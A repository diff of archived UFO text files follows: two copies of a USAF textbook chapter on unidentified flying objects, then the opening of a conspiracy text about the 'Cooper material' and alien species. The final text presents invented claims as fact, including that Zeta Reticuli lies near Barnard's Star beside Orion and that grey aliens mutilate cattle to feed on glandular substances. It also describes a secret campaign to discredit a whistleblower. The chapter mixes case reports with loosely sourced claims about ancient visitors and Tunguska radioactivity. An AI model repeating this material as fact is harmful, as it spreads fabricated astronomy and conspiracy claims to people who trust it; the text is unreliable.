provide quite unfertile ground for formulation of hypothesis.
One hypothesis which looked promising for a time was that of
ORTHOTENY (i.e., UFO sightings fall on "great circle" routes).
At first, plots of sightings seemed to verify the concept of
orthoteny but recent use of computers has revealed that even
random numbers yield "great circle" plots as neatly as do UFO
sightings.
There is one solid advance that has been made though.
Jacques and Janine Vallee have taken a particular type of UFO -
namely those that are lower than tree-top level when sighted -
and plotted the UFO's estimated diameter versus the estimated
distance from the observer. The result yields an average
diameter of 5 meters with a very characteristic drop for short
viewing distances. This behavior at the extremes of the curve is
well known to astronomers and psychologists as the "moon
illusion." The illusion only occurs when the object being viewed
is a real, physical object. Because this implies that the
observers have viewed a real object, it permits us to accept also
their statement that these particular UFO's had a rotational axis
of symmetry.
Anotehr, less solid, advance made by the Vallee's was their
plotting of the total number of sightings per week versus the
date. They did this for the time span from 1947 to 1962, and
then attempted to match the peaks of the curve (every 2 years 2
months) to the times of Earth-Mars conjuction (every 2 years 1.4
months). The match was very good between 1950 and 1956 but was
poor outside those limits. Also, the peaks were not only at the
times of Earth-Mars conjunction but also roughly at the first
harmonic (very loosely, every 13 months). This raises the
question why should UFO's only visit Earth when Mars is in
conjunction and when it is on the opposite side of the sun.
Obviously, the conjunction periodicity of Mars is not the final
answer. As it happens, there is an interesting possibility to
consider. Suppose Jupiter's conjunctions were used; they are
every 13.1 months. That would satisfy the observed periods
nicelly, except for every even data peak being of different
magnitude from every odd data peak. Perhaps a combination of
Martian, Jovian, and Saturnian (and even other planetary)
conjunctions will be necessary to match the frequency plot...if
it can be matched.
Further data correlation is quite difficult. There are a
large number of different saucer shapes but this may mean little.
For example, look at the number of different types of aircraft
which are in use in the U. S. Air Force alone.
In is obvious that intensive scientific study is needed in
this area; no such study has yet been undertaken at the necessary
levels of intensity needed. Something that must be guarded
against in any such study is the trap of implicity assuming that
our knowledge of Physics (or any other branch of science) is
complete. An example of one such trap is selecting a group of
physical laws which we now accept as valid, and assume that they
will never be superceded.
Five such laws might be:
1) Every action must have an opposite and equal reaction.
2) Every particle in the universe attracts every other particle
with a force proportional to the product of the masses and
inversely as the square of the distance.
3) Energy, mass and momentum are conserved.
4) No material body can have a speed as great as c, the speed of
light in free space.
5) The maximum energy, E, which can be obtained from a body at
rest is E=mc2, where m is the rest mass of the body.
Laws numbered 1 and 3 seem fairly safe, but let us hesitate
and take another look. Actually, law number 3 is only valid
(now) from a relativistic viewpoint; and for that matter so are
laws 4 and 5. But relativity completely revised these physical
concepts after 1915, before then Newtonian mechanics were
supreme. We should also note that general relativity has not yet
been verified. Thus we have the peculiar situation of five laws
which appear to deny the possibility of intelligent alien control
of UFO's, yet three of the laws are recent in concept and may not
even be valid. Also, law number 2 has not yet been tested under
conditions of large relative speeds or accelerations. We should
not deny the possibility of alien control of UFO's on the basis
of preconceived notions not established as related or relevant to
the UFO's.
33.6 CONCLUSION
From available information, the UFO phenomenon appears to
have been global in nature for almost 50,000 years. The majority
of known witnesses have been reliable people who have seen
easily-explained natural phenomena, and there appears to be no
overall possitive correlation with population density. The
entire phenomenon could be psychological in nature but that is
quite doubtful. However, psychological factors probably do enter
the data picture as "noise." The phenomenon could also be
entirely due to known and unknown phenomena (with some
psychological "noise" added in) but that too is questionable in
view of some of the available data.
This leaves us with the unpleasant possibility of alien
visitors to our planet, or at least of alien controlled UFO's.
However, the data are not well correlated, and what questionable
data there are suggest the existence of at least three and maybe
four differnet groups of aliens (possibly at different states of
development). This too is difficult to accept. It implies the
existence of intelligent life on a majority of the planets in our
solar system, or a surprisingly strong interest in Earth by
members of other solar systems.
A solution to the UFO problem may be obtained by the long
and diligent effort of a large group of well financed and
competent scientists, unfortunately there is no evidence
suggesting that such an effort is going to be made. However,
enen if such an effort were made, there is no guarantee of
success because of the isolated and sporatic nature of the
sightings. Also, there may be nothing to find, and that would
mean a long search with no profit at the end. The best thing to
do is to keep an open and skeptical mind, and not take an extreme
position on any side of the question.
This document and many others are available through the ParaNet
Informational Service. For more information write to:
ParaNet(sm) Informational Service
P.O. Box 928
Wheatridge, Co.
80034-0928
1-303-420-6758
Michael F Corbin
Director
Don F Ecker
Director Public Relations


662
textfiles.com/ufo/usafchap.ufo Normal file
View File

@@ -0,0 +1,662 @@
CUFON - UFO Information Service Seattle, Washington
_______________________________________________________________
INTRODUCTORY SPACE SCIENCE - VOLUME II - DEPARTMENT OF PHYSICS - USAF
Edited by:
Major Donald G. Carpenter
Co-Editor:
Lt. Colonel Edward R. Therkelson
CHAPTER XIII
UNIDENTIFIED FLYING OBJECTS
-------------------------------------------------------------------------
What is an Unidentified Flying Object (UFO)? Well, according to United
States Air Force Regulation 80-17 (dated 19 September 1966), a UFO is "Any"
aerial Phenomenon or object which is unknown or appears to be out of the
ordinary to the observer." This is a very broad definition which applies
equally well to one individual seeing his first noctilucent cloud at
twilight as it does to another individual seeing his first helicopter.
However, at present most people consider the term UFO to mean an object
which behaves in a strange or erratic manner while moving through the
Earth's atmosphere. That strange phenomenon has evoked strong emotions
and great curiosity among a large segment of our world's population. The
average person is interested because he loves a mystery, the professional
military man is involved because of the possible threat to national
security, and some scientists are interested because of the basic curiosity
that led them into becoming researchers.
The literature on UFO's is so vast, and the stories so many and varied,
that we can only present a sketchy outline of the subject in this chapter.
That outline includes description classifications, operational domains
(temporal and spatial), some theories as to the nature of the UFO
phenomenon, human reactions, attempts to attack the problem scientifically,
and some tentative conclusions. If you wish to read further in this area,
the references provide an excellent starting point.
33.1 DESCRIPTIONS
One of the greatest problems you encounter when attempting to catalog
UFO sightings, is selection of a system for cataloging. No effective
system has yet been devised, although a number of different systems have
been proposed. The net result is that almost all UFO data are either
treated in the form of individual cases, or in the forms of inadequate
classification systems. However, these systems do tend to have some common
factors, and a collection of these factors is as follows:
a. Size
b. Shape (disc, ellipse, football, etc.)
c. Luminosity
d. Color
e. Number of UFO's
-------------------------------------------------------------------------
( Page Two )
CUFON - UFO Information Service Seattle, Washington
________________________________________________________________
Behavior:
a. Location (altitude, direction, etc.)
b. Patterns of paths (straight line, climbing, zig-zagging, etc.)
c. Flight Characteristics (wobbling, fluttering, etc.)
d. Periodicity of sightings
e. Time duration
f. Curiosity or inquisitiveness
g. Avoidance
h. Hostility
Associated Effects:
a. Electro-Magnetic (compass, radio, ignition systems, etc.)
b. Radiation (burns, induced radioactivity, etc.)
c. Ground disturbance (dust stirred up, leaves moved, standing wave
d. Sound (none, hissing, humming, roaring, thunderclaps, etc.)
e. Vibration (weak, strong, slow, fast)
f. Smell (ozone or other odor)
g. Flame (how much, where, when, color)
h. Smoke or cloud (amount, color, persistence)
i. Debris (type, amount, color, persistence)
j. Inhibition of voluntary movement by observers
k. Sighting of "creatures" or "beings"
After Effects:
a. Burned areas or animals
b. Depressed or flattened areas
c. Dead or missing animals
d. Mentally disturbed people
e. Missing items
We make no attempt here to present available data in terms of the foregoing
descriptors.
( Page Three )
CUFON - UFO Information Service Seattle, Washington
-------------------------------------------------------------------------
33.2 OPERATIONAL DOMAINS - TEMPORAL AND SPATIAL
What we will do here is to present evidence that UFO's are a global
phenomenon which may have persisted for many thousands of years. During
this discussion, please remember that the more ancient the reports the less
sophisticated the observer. Not only were the ancient observers lacking
the terminology necessary to describe complex devices (such as present day
helicopters) but they were also lacking the concepts necessary to
understand the true nature of such things as television, spaceships,
rockets, nuclear weapons and radiation effects. To some, the most
advanced technological concept was a war chariot with knife blades attached
to the wheels. By the same token, the very lack of accurate terminology
and descriptions leaves the more ancient reports open to considerable
misinterpretation, and it may well be that present evaluations of
individual reports are completely wrong. Nevertheless, let us start with
an intriguing story in one of the oldest chronicles of India...the Book of
Dzyan.
The book is a group of "story-teller" legends which were finally
gathered in manuscript form when man learned to write. One of the stories
is of a small group of beings who supposedly came to Earth many thousands
of years ago in a metal craft which orbited the Earth several times before
landing. As told in the Book "These beings lived to themselves and were
revered by the humans among whom they had settled. But eventually
differences arose among them and they divided their numbers, several of the
men and women and some children settled in another city, where they were
promptly installed as rulers by the awe-stricken populace.
"Separation did not bring peace to these people and finally their
anger reached a point where the ruler of the original city took with him
a small number of his warriors and they rose into the air in a huge shining
metal vessel. While they were many leagues from the city of their enemies,
they launched a great shining lance that rode on a beam of light. It burst
apart in the city of their enemies with a great ball of flame that shot up
to the heavens, almost to the stars. All those who were in the city were
horribly burned and even those who were not in the city - but nearby - were
burned also. Those who looked upon the lance and the ball of fire were
blinded forever afterward. Those who entered the city on foot became ill
and died. Even the dust of the city was poisoned, as were the rivers that
flowed through it. Men dared not go near it, and it gradually crumbled
into dust and was forgotten by men."
"When the leader saw what he had done to his own people he retired to
his palace and refused to see anyone. Then he gathered about him those
warriors who remained, and their wives and children, and they entered their
vessels and rose one by one into the sky and sailed away. Nor did they
return."
-------------------------------------------------------------------------
Continued -
( Page Four )
CUFON - UFO Information Service Seattle, Washington
________________________________________________________________
Could this foregoing legend really be an account of an extraterrestrial
colonization, complete with guided missle, nuclear warhead and radiation
effects? It is difficult to assess the validity of that explanation...
just as it is difficult to explain why Greek, Roman and Nordic Mythology
all discuss wars and contacts among their "Gods." (Even the Bible records
conflict between the legions of God and Satan.) Could it be that each
group recorded their parochial view of what was actually a global conflict
among alien colonists or visitors? Or is it that man has led such a
violent existence that he tends to expect conflict and violence among even
his gods?
Evidence of perhaps an even earlier possible contact was uncovered by
Tschi Pen Lao of the University of Peking. He discovered astonishing
carvings in granite on a mountain in Hunan Province and on an island in
Lake Tungting. These carvings have been evaluated as 47,000 years old, and
they show people with large trunks (breathing apparatus?...or "elephant"
heads shown on human bodies? Remember, the Egyptians often represented
their gods as animal heads on human bodies.)
Only 8,000 years ago, rocks were sculpted in the Tassili plateau of
Sahara, depicting what appeared to be human beings but with strange round
heads (helmets? or "sun" heads on human bodies?) And even more recently,
in the Bible, Genesis (6:4) tells of angels from the sky mating with women
of Earth, who bore them children. Genesis 19:3 tells of Lot meeting two
angels in the desert and his later feeding them at his house. The Bible
also tells a rather unusual story of Ezekiel who witnessed what has been
interpreted by some to have been a spacecraft or aircraft landing near the
Chebar River in Chaldea (593 B.C.).
Even the Irish have recorded strange visitations. In the Speculum
Regali in Konungs Skuggsa (and other accounts of the era about 956 A.D.)
are numerous stories of "demonships" in the skies. In one case a rope from
one such ship became entangled with part of a church. A man from the ship
climbed down the rope to free it, but was seized by the townspeople. The
bishop made the people release the man, who climbed back to the ship,
where the crew cut the rope and the ship rose and sailed out of sight.
In all of his actions, the climbing man appeared as if he were swimming
in water. Stories such as this makes one wonder if the legends of the
"little people" of Ireland were based upon imagination alone.
About the same time, in Lyons (France) three men and a women supposedly
descended from an airship or spaceship and were captured by a mob. These
foreigners admitted to being wizards, and were killed. (No mention is
made of the methods employed to extract the admissions.) Many documented
UFO sightings occurred throughout the Middle Ages, including an especially
startling one of a UFO over London on 16 December 1742. However, we do
not have room to include any more of the Middle Ages sightings. Instead,
two "more-recent" sightings are contained in this section to bring us up to
modern times.
-------------------------------------------------------------------------
Continued -
( Page Five )
CUFON - UFO Information Service Seattle, Washington
________________________________________________________________
In a sworn statement dated 21 April 1897, a prosperous and prominent
farmer named Alexander Hamilton (Le Roy, Kansas, U.S.A.) told of an attack
upon his cattle at about 10:30 p.m. the previous Monday. He, his son, and
his tenant grabbed axes and ran some 700 feet from the house to the cow
lot where a great cigar-shaped ship about 300 feet long floated some 30
feet above the cattle. It had a carriage underneath which was brightly
lighted within (dirigible and gondola?) and which had numerous windows.
Inside were six strange looking beings jabbering in a foreign language.
These beings suddenly became aware of Hamilton and the others. They
immediately turned a searchlight on the farmer, and also turned on some
power which sped up a turbine wheel (about 30 ft diameter) located under
the craft. The ship rose, taking with it a two-year old heifer which was
roped about the neck by a cable of one-half inch thick, red material. The
next day a neighbor, Link Thomas, found the animal's hide, legs and head
in his field. He was mystified at how the remains got to where they were
because of the lack of tracks in the soft soil. Alexander Hamilton's sworn
statement was accompanied by an affidavit as to his veracity. The
affidavit was signed by ten of the local leading citizens.
On the evening of 4 November 1957 at Fort Itaipu, Brazil, two sentries
noted a "new star" in the sky. The "star" grew in size and within seconds
stopped over the fort. It drifted slowly downward, was as large as a big
aircraft, and was surround by a strong orange glow. A distinct humming
sound was heard, and then the heat struck. One sentry collapsed almost
immediately, the other managed to slide to shelter under the heavy cannons
where his loud cries awoke the garrison. While the troops were scrambling
towards their battle stations, complete electrical failure occurred.
There was panic until the lights came back on but a number of men still
managed to see an orange glow leaving the area at high speed. Both
sentries were found badly burned...one unconscious and the other incoherent,
suffering from deep shock.
Thus, UFO sightings not only appear to extend back to 47,000 years
through time but also are global in nature. One has the feeling that
this phenomenon deserves some sort of valid scientific investigation, even
if it is a low level effort.
33.3 SOME THEORIES AS TO THE NATURE OF THE UFO PHENOMENON
There are very few cohesive theories as to the nature of UFO's. Those
theories that have been advanced can be collected in five groups:
a. Mysticism
b. Hoaxes, and rantings due to unstable personalities
c. Secret Weapons
d. Natural Phenomena
e. Alien visitors
-------------------------------------------------------------------------
Continued -
PAGE SIX
________________________________________________________________
Mysticism
It is believed by some cults that the mission of UFO's and their crews
is a spiritual one, and that all materialistic efforts to determine the
UFO's nature are doomed to failure.
Hoaxes and Rantings due to Unstable Personalities
Some have suggested that all UFO reports were the results of pranks
and hoaxes, or were made by people with unstable personalities. This
attitude was particularly prevalent during the time period when the Air
Force investigation was being operated under the code name of Project
Grudge. A few airlines even went as far as to ground every pilot who
reported seeing a "flying saucer." The only way for the pilot to regain
flight status was to undergo a psychiatric examination. There was a
noticeable decline in pilot reports during this time interval, and a few
interpreted this decline to prove that UFO's were either hoaxes or the
result of unstable personalities. It is of interest that NICAP (The
National Investigations Committee on Aerial Phenomena) even today still
receives reports from commercial pilots who neglect to notify either the
Air Force or their own airline.
There are a number of cases which indicate that not all reports fall
in the hoax category. We will examine one such case now. It is the
Socorro, New Mexico sighting made by police Sergeant Lonnie Zamora.
Sergeant Zamora was patrolling the streets of Socorro on 24 April 1964
when he saw a shiny object drift down into an area of gullies on the edge
of town. He also heard a loud roaring noise which sounded as if an old
dynamite shed located out that way had exploded. He immediately radioed
police headquarters, and drove out toward the shed. Zamora was forced to
stop about 150 yards away from a deep gully in which there appeared to be
an overturned car. He radioed that he was investigating a possible wreck,
and then worked his car up onto the mesa and over toward the edge of the
gully. He parked short, and when he walked the final few feet to the edge,
he was amazed to see that it was not a car but instead was a weird
eggshaped object about fifteen feet long, white in color and resting on
short, metal legs. Beside it, unaware of his presence were two humanoids
dressed in silvery coveralls. They seemed to be working on a portion of
the underside of the object. Zamora was still standing there, surprised,
when they suddenly noticed him and dove out of sight around the object.
Zamora also headed the other way, back toward his car. He glanced back at
the object just as a bright blue flame shot down from the underside.
Within seconds the eggshaped thing rose out of the gully with "an ear-
-splitting roar." The object was out of sight over the nearby mountains
almost immediately, and Sergeant Zamora was moving the opposite direction
almost as fast when he met Sergeant Sam Chavez who was responding to Zamora'
s
earlier radio calls. Together they investigated the gully and found the
bushes charred and still smoking where the blue flame had jetted down on
them. About the charred area were four deep marks where the metal legs
had been. Each mark was three and one half inches deep, and was circular
in shape. The sand in the gully was very hard packed so no sign of the
humanoids' footprints could be found. An official investigation was
launched that same day, and all data obtained supported the stories of
Zamora and Chavez. It is rather difficult to label this episode a hoax,
and it is also doubtful that both Zamora and Chavez shared portions of the
same hallucination.
------------------------------------------------------------------------
PAGE SEVEN
________________________________________________________________
Secret Weapons
A few individuals have proposed that UFO's are actually advanced weapon
systems, and that their natures must not be revealed. Very few people
accept this as a credible suggestion.
Natural Phenomena
It has also been suggested that at least some, and possibly all, of the
UFO cases were just mis-interpreted manifestations of natural phenomena.
Undoubtedly this suggestion has some merit. People have reported, as UFO's,
objects which were conclusively proven to be balloons (weather and skyhook),
the planet Venus, man-made artificial satellites, normal aircraft, unusual
cloud formations, and lights from ceilometers (equipment projecting light
beams on cloud bases to determine the height of the aircraft visual ceiling)
.
It is also suspected that people have reported mirages, optical illusions,
swamp gas and ball lightning (a poorly-understood discharge of electrical
energy in a spheroidal or ellipsoidal shape...some charges have lasted for
up to fifteen minutes but the ball is usually no bigger than a large orange.
)
But it is difficult to tell a swamp dweller that the strange, fast-moving
light he saw in the sky was swamp gas; and it is just as difficult to tell
a farmer that a bright UFO in the sky is the same ball lightning that he
has seen rolling along his fence wires in dry weather. Thus accidental
mis-identification of what might well be natural phenomena breeds mistrust
and disbelief; it leads to the hasty conclusion that the truth is
deliberatly not being told. One last suggestion of interest has been made,
that the UFO's were plasmoids from space...concentrated blobs of solar wind
that succeeded in reaching the surface of the Earth. Somehow this last
suggestion does not seem to be very plausible; perhaps because it ignores
such things as penetration of Earth's magnetic field.
Alien Visitors
The most stimulating theory for us is that the UFO's are material
objects which are either "Manned" or remote-controlled by beings who are
alien to this planet. There is some evidence supporting this viewpoint.
In addition to police Sergeant Lonnie Zamora's experience, let us consider
the case of Barney and Betty Hill. On a trip through New England they
lost two hours on the night of 19 September 1961 without even realizing it.
However, after that night both Barney and Betty began developing
psychological problems which eventually grew sufficienty severe that they
submitted themselves to psychiatric examination and treatment. During the
course of treatment hypnotherapy was used, and it yielded remarkably
detailed and similar stories from both Barney and Betty. Essentially
they had been hypnotically kidnapped, taken aboard a UFO, submitted to
two-hour physicals, and released with posthypnotic suggestions to forget
the entire incident. The evidence is rather strong that this is what the
Hills, even in their subconscious, believe happened to them. And it is of
particular importance that after the "posthypnotic block" was removed, both
of the Hills ceased having their psychological problems.
-------------------------------------------------------------------------
PAGE EIGHT
________________________________________________________________
The Hill's description of the aliens was similar to descriptions
provided in other cases, but this particular type of alien appears to be
in the minority. The most commonly described alien is about three and one-
half feet tall, has a round head (helmet?), arms reaching to or below his
knees, and is wearing a silvery space suit or coveralls. Other aliens
appear to be essentially the same as Earthmen, while still others have
particularily wide (wrap around) eyes and mouths with very thin lips. And
there is a rare group reported as about four feet tall, weight of around
35 pounds, and covered with thick hair or fur (clothing?). Members of this
last group are described as being extremely strong. If such beings are
visiting Earth, two questions arise: 1) why haven't there been any accidents
which have revealed their presence, and 2) why haven't they attempted to
contact us officially? The answer to the first question may exist partially
in Sergeant Lonnie Zamora's experience, and may exist partially in the
Tunguska meteor discussed in Chapter XXIX. In that chapter it was suggested
that the Tonguska meteor was actually a comet which exploded in the
atmosphere, the ices melted and the dust spread out. Hence, no debris!
However, it has also been suggested that the Tunguska meteor was actually
an alien spacecraft that entered the atmosphere to rapidly, suffered
mechanical failure, and lost its power supply and/or weapons in a nuclear
explosion. While that hypothesis may seem far fetched, sample of tree
rings from around the world reveal that, immediately after the Tunguska
meteor explosion, the level of radioactivity in the world rose sharply for
a short period of time. It is difficult to find a natural explanation for
that increase in radioactivity, although the suggestion has been advanced
that enough of the meteor's great kinetic energy was converted into heat
(by atmospheric friction) that a fusion reaction occurred. This still
leaves us with no answer to the second question: why no contact? That
question is very easy to answer in several ways: 1) we may be the object
of intensive sociological and psychological study. In such studies you
usually avoid disturbing the test subjects' environment; 2) you do not
"contact" a colony of ants, and humans may seem that way to any aliens
(variation: a zoo is fun to visit, but you don't "contact" the lizards);
3) such contact may have already taken place secretly; and 4) such contact
may have already taken place on a different plane of awareness and we are
not yet sensitive to communications on such a plane. These are just a few
of the reasons. You may add to the list as you desire.
33.4 HUMAN FEAR AND HOSTILITY
Besides the foregoing reasons, contacting humans is downright dangerous.
Think about that for a moment! On the microscopic level our bodies reject
and fight (through production antibodies) any alien material; this process
helps us fight off disease but it also sometimes results in allergic
reactions to innocuous materials. On the macroscopic (psychological and
sociological) level we are antagonistic to beings that are "different".
For proof of that, just watch how an odd child is treated by other children,
or how a minority group is socially deprived, or how the Arabs feel about
the Israelis (Chinese vs Japanese, Turks vs Greeks, etc.) In case you are
hesitant to extend that concept to the treatment of aliens let me point
out that in very ancient times, possible extraterrestrials may have been
treated as Gods but in the last two thousand years, the evidence is that
any possible aliens have been ripped apart by mobs, shot and shot at,
physically assaulted, and in general treated with fear and aggression.
-------------------------------------------------------------------------
PAGE NINE
________________________________________________________________
In Ireland about 1,000 A.D., supposed airships were treated as "demon-
ships." In Lyons, France, "admitted" space travellers were killed. More
recently, on 24 July 1957 Russian anti-aircraft batteries on the Kouril
Islands opened fire on UFO's. Although all Soviet anti-aircraft batteries
on the Islands were in action, no hits were made. The UFO's were luminous
and moved very fast. We too have fired on UFO's. About ten o'clock one
morning, a radar site near a fighter base picked up a UFO doing 700 mph.
The UFO then slowed to 100 mph, and two F-86's were scrambled to intercept.
Eventually one F-86 closed on the UFO at about 3,000 feet altitude. The
UFO began to accelerate away but the pilot still managed to get within 500
yards of the target for a short period of time. It was definately saucer-
shaped. As the pilot pushed the F-86 at top speed, the UFO began to pull
away. When the range reached 1,000 yards, the pilot armed his guns and
fired in an attempt to down the saucer. He failed, and the UFO pulled away
rapidly, vanishing in the distance. This same basic situation may have
happened on a more personal level. On Sunday evening 21 August 1955, eight
adults and three children were on the Sutton Farm (one-half mile from Kelly,
Kentucky) when, according to them, one of the children saw a brightly
glowing UFO settle behind the barn, out of sight from where he stood.
Other witnesses on nearby farms also saw the object. However, the Suttons
dismissed it as a "shooting star," and did not investigate. Approximately
thirty minutes later (at 8 p.m.), the family dogs began barking so two of
the men went to the back door and looked out. Approximately 50 feet away
and coming toward them was a creature wearing a glowing silvery suit. It
was about three and one-half feet tall with a large round head and very
long arms. It had large webbed hands which were equipped with claws. The
two Suttons grabbed a twelve guage shotgun and a 22 caliber pistol, and
fired at close range. They could hear the pellets and bullet ricochet as
if off of metal. The creature was knocked down, but jumped up and
scrambled away. The Suttons retreated into the house, turned off all
inside lights, and turned on the porch-light. At that moment, one of the
women who was peeking out of the dining room window discovered that a
creature with some sort of helmet and wide slit eyes was peeking back at
her. She screamed, the men rushed in and started shooting. The creature
was knocked backwards but again scrambled away without apparent harm. More
shooting occurred (a total of about 50 rounds) over the next 20 minutes and
the creatures finally left (perhaps feeling unwelcome?) After about a two
hour wait (for safety), the Suttons left too. By the time the police got
there, the aliens were gone but the Suttons would not move back to the farm.
They sold it and departed. This reported incident does bear out the
contention though that humans are dangerous. At no time in the story did
the supposed aliens shoot back, although one is left with the impression
that the described creatures were having fun scaring humans.
33.5 ATTEMPTS AT SCIENTIFIC APPROACHES
In any scientific endeavor, the first step is to aquire data, the
second step to clasify the data, and the third step to form hypothesis.
The hypothesis are tested by repeating the entire process, with each cycle
resulting in an increase in understanding (we hope). The UFO phenomenon
does not yield readily to this approach because the data taken so far
exhibits both excessive variety and vagueness. The vagueness is caused
in part by the lack of preparation of the observer...very few people leave
their house knowing that they are going to see a UFO that evening.
Photographs are overexposed or underexposed, and rarely in color. Hardly
anyone carries around a radiation counter or magnetometer. And, in addition
to this, there is a very high level of "noise" in the data.
PAGE TEN
________________________________________________________________
The noise consists of mistaken reports of known natural phenomena,
hoaxes, reports by unstable individuals and mistaken removal of data
regarding possible unnatural or unknown natural phenomena (by overzealous
individuals who are trying to eliminate all data due to known natural
phenomena). In addition, those data, which do appear to be valid, exhibit
an excessive amount of variety relative to the statistical samples which
are available. This has led to very clumsy classification systems, which
in turn provide quite unfertile ground for formulation of hypothesis.
One hypothesis which looked promising for a time was that of ORTHOTENY
(i.e., UFO sightings fall on "great circle" routes). At first, plots of
sightings seemed to verify the concept of orthoteny but recent use of
computers has revealed that even random numbers yield "great circle" plots
as neatly as do UFO sightings.
There is one solid advance that has been made though. Jacques and
Janine Vallee have taken a particular type of UFO - namely those that are
lower than tree-top level when sighted - and plotted the UFO's estimated
diameter versus the estimated distance from the observer. The result
yields an average diameter of 5 meters with a very characteristic drop for
short viewing distances, and rise for long viewing distances. This
behavior at the extremes of the curve is well known to astronomers and
psychologists as the "moon illusion." The illusion only occurs when the
object being viewed is a real, physical object. Because this implies that
the observers have viewed a real object, it permits us to accept also their
statement that these particular UFO's had a rotational axis of symmetry.
Another, less solid, advance made by the Vallee's was their plotting
of the total number of sightings per week versus the date. They did this
for the time span from 1947 to 1962, and then attempted to match the peaks
of the curve (every 2 years 2 months) to the times of Earth-Mars conjuction
(every 2 years 1.4 months). The match was very good between 1950 and 1956
but was poor outside those limits. Also, the peaks were not only at the
times of Earth-Mars conjunction but also roughly at the first harmonic
(very loosely, every 13 months). This raises the question why should UFO's
only visit Earth when Mars is in conjunction and when it is on the opposite
side of the sun. Obviously, the conjunction periodicity of Mars is not the
final answer. As it happens, there is an interesting possibility to
consider. Suppose Jupiter's conjunctions were used; they are every 13.1
months. That would satisfy the observed periods nicely, except for every
even data peak being of different magnitude from every odd data peak.
Perhaps a combination of Martian, Jovian, and Saturnian (and even other
planetary) conjunctions will be necessary to match the frequency plot...
if it can be matched.
Further data correlation is quite difficult. There are a large number
of different saucer shapes but this may mean little. For example, look at
the number of different types of aircraft which are in use in the U.S. Air
Force alone.
It is obvious that intensive scientific study is needed in this area;
no such study has yet been undertaken at the necessary levels of intensity
and support. One thing that must be guarded against in any such study is
the trap of implicity assuming that our knowledge of Physics (or any other
branch of science) is complete. An example of one such trap is selecting
a group of physical laws which we now accept as valid, and assume that they
will never be superceded.
PAGE ELEVEN
________________________________________________________________
Five such laws might be:
1) Every action must have an opposite and equal reaction.
2) Every particle in the univers attracts every other particle with a
force proportional to the product of the masses and inversely as the
square of the distance.
3) Energy, mass and momentum are conserved.
4) No material body can have a speed as great as c, the speed of light
in free space.
5) The maximum energy, E, which can be obtained from a body at rest is
E=mc2, where m is the rest mass of the body.
Laws numbered 1 and 3 seem fairly safe, but let us hesitate and take
another look. Actually, law number 3 is only valid (now) from a relativisti
c
viewpoint; and for that matter so are laws 4 and 5. But relativity
completely revised these physical concepts after 1915, before then Newtonian
mechanics were supreme. We should also note that general relativity has
not yet been verified. Thus we have the peculiar situation of five laws
which appear to deny the possibility of intelligent alien control of UFO's,
yet three of the laws are recent in concept and may not even be valid.
Also, law number 2 has not yet been tested under conditions of large relativ
e
speeds or accelerations. We should not deny the possibility of alien
control of UFO's on the basis of preconceived notions not established as
related or relevant to the UFO's.
33.6 CONCLUSION
From available information, the UFO phenomenon appears to have been
global in nature for almost 50,000 years. The majority of known witnesses
have been reliable people who have seen easily-explained natural phenomena,
and there appears to be no overall positive correlation with population
density. The entire phenomenon could be psychological in nature but that
is quite doubtful. However, psychological factors probably do enter the
data picture as "noise." The phenomenon could also be entirely due to
known and unknown phenomena (with some psychological "noise" added in) but
that too is questionable in view of some of the available data.
This leaves us with the unpleasant possibility of alien visitors to
our planet, or at least of alien controlled UFO's. However, the data are
not well correlated, and what questionable data there are suggest the
existence of at least three and maybe four different groups of aliens
(possibly at different stages of development). This too is difficult to
accept. It implies the existence of intelligent life on a majority of the
planets in our solar system, or a surprisingly strong interest in Earth by
members of other solar systems.
-------------------------------------------------------------------------
PAGE TWELVE
________________________________________________________________
A solution to the UFO problem may be obtained by the long and diligent
effort of a large group of well financed and competant scientists,
unfortunately there is no evidence suggesting that such an effort is going
to be made. However, even if such an effort were made, there is no
guarantee of success because of the isolated and sporatic nature of the
sightings. Also, there may be nothing to find, and that would mean a long
search with no proff at the end. The best thing to do is to keep an open
and skeptical mind, and not take an extreme position on any side of the
question.
--------------------------------------------------------------------------
This document is available through the Ufo Info Service.
For more information write to:
CUFON C/O UFO INFORMATION SERVICE
P.O. Box 832
MERCER ISLAND, WA 98040 - 0219
OR CALL (206) 721-5035
This is the original Air Force Document.
Thank You


559
textfiles.com/ufo/various.ufo Normal file
View File

@@ -0,0 +1,559 @@
Info gleaned from various sources
THE RELEASE OF THE COOPER MATERIAL
There are many hazards regarding the exposing of information regarding UFOs. It
has not been until quite recently that any degree of safety at all has been
available for people releasing such information. Were it not for the fact that
Cooper released his information so far and wide and it filtered to so many
people at once -- newspapers, legislators, heads of state, people in important
positions all over the world -- he would have suffered severely. But because it
was scattered so quickly, it would have been fruitless to silence him after the
information had been released. It would only have added to the credibility of
the information. At the beginning of 1990, there was still an active debate in
certain circles about what to do about Cooper -- whether to deal with him in a
threatening manner or to simply discredit him. A campaign planned to use
approximately one million dollars worth of effort to discredit him. The money
was to be used to imply that Cooper made up or gathered information from
various sources and threw it together for a personal financial motive. It was
not to come through normal media channels, but through UFO magazines and
newsletters in the form of articles and exposes and through UFO groups, most of
which are controlled. Alternate UFO scenarios were also to be released so that
by the time 1990 ended, many different scenarios would be floating around.
People would be unable to decipher which one was true and which one wasn't. As
long as interest was shown in the Cooper material by only a small group of
people who happened to be curious about UFOs, there was to be no action taken.
But if Cooper's material was taken seriously by credible people, these would be
the target for the efforts to discredit him. Enormous amounts of previously
highly classified information have been brought out into the open. We now have
a situation where, individuals, instead of being forced to remain silent for
fear of assassination are not afraid to tell what they know. Too many have
seen. Too many have witnessed. They cannot all be silenced. This is the
beginning of the end of the security surrounding this situation. Therefore, the
following information shall be released.
THE SPECIES CLASSIFIED The present number of alien types having contact with
the earth right now is nine, with seven being relatively permanent and five
being influential. Contrary to the information that the government might
release, not all UFO inhabitants are friendly representatives from the Galactic
Space Confederation.
ZETA RETICULI GREYS -- SMALL Zeta Reticuli Greys come from Zeta Reticulan, near
Barnard's Star, which is a neighboring star system to Orion. They are very
short (about 3 1/2 to 4 feet tall), grayish silver in color and have no sexual
or digestive parts to their bodies. They are created through a cloning process
of alien genetic engineering. They are an ancient race and have reproduced
themselves for thousands of years. They have very limited facial features. They
have large eyes, a very small slit for a mouth and no nose to speak of. The
eyes are large almond-shaped and black. They have evolved beyond the sexual
reproduction process so that all sexual organs and their digestive tracts have
totally atrophied. They are no longer capable of eating or indulging in sexual
activities. They are a close relative to the insect family. The Zetas are the
ones involved in the cattle mutilations. They absorb certain substances from
parts of the cattle that stabilize them during the cloning process. This can be
placed under the tongue to give sustenance and stability for some time. It is a
substance that comes from certain mucus membranes: the lips, nose, genitals and
rectum, and also from certain organs. These glandular substances serve as
nutrients in lieu of eating. Resting the substances under the tongue is not the
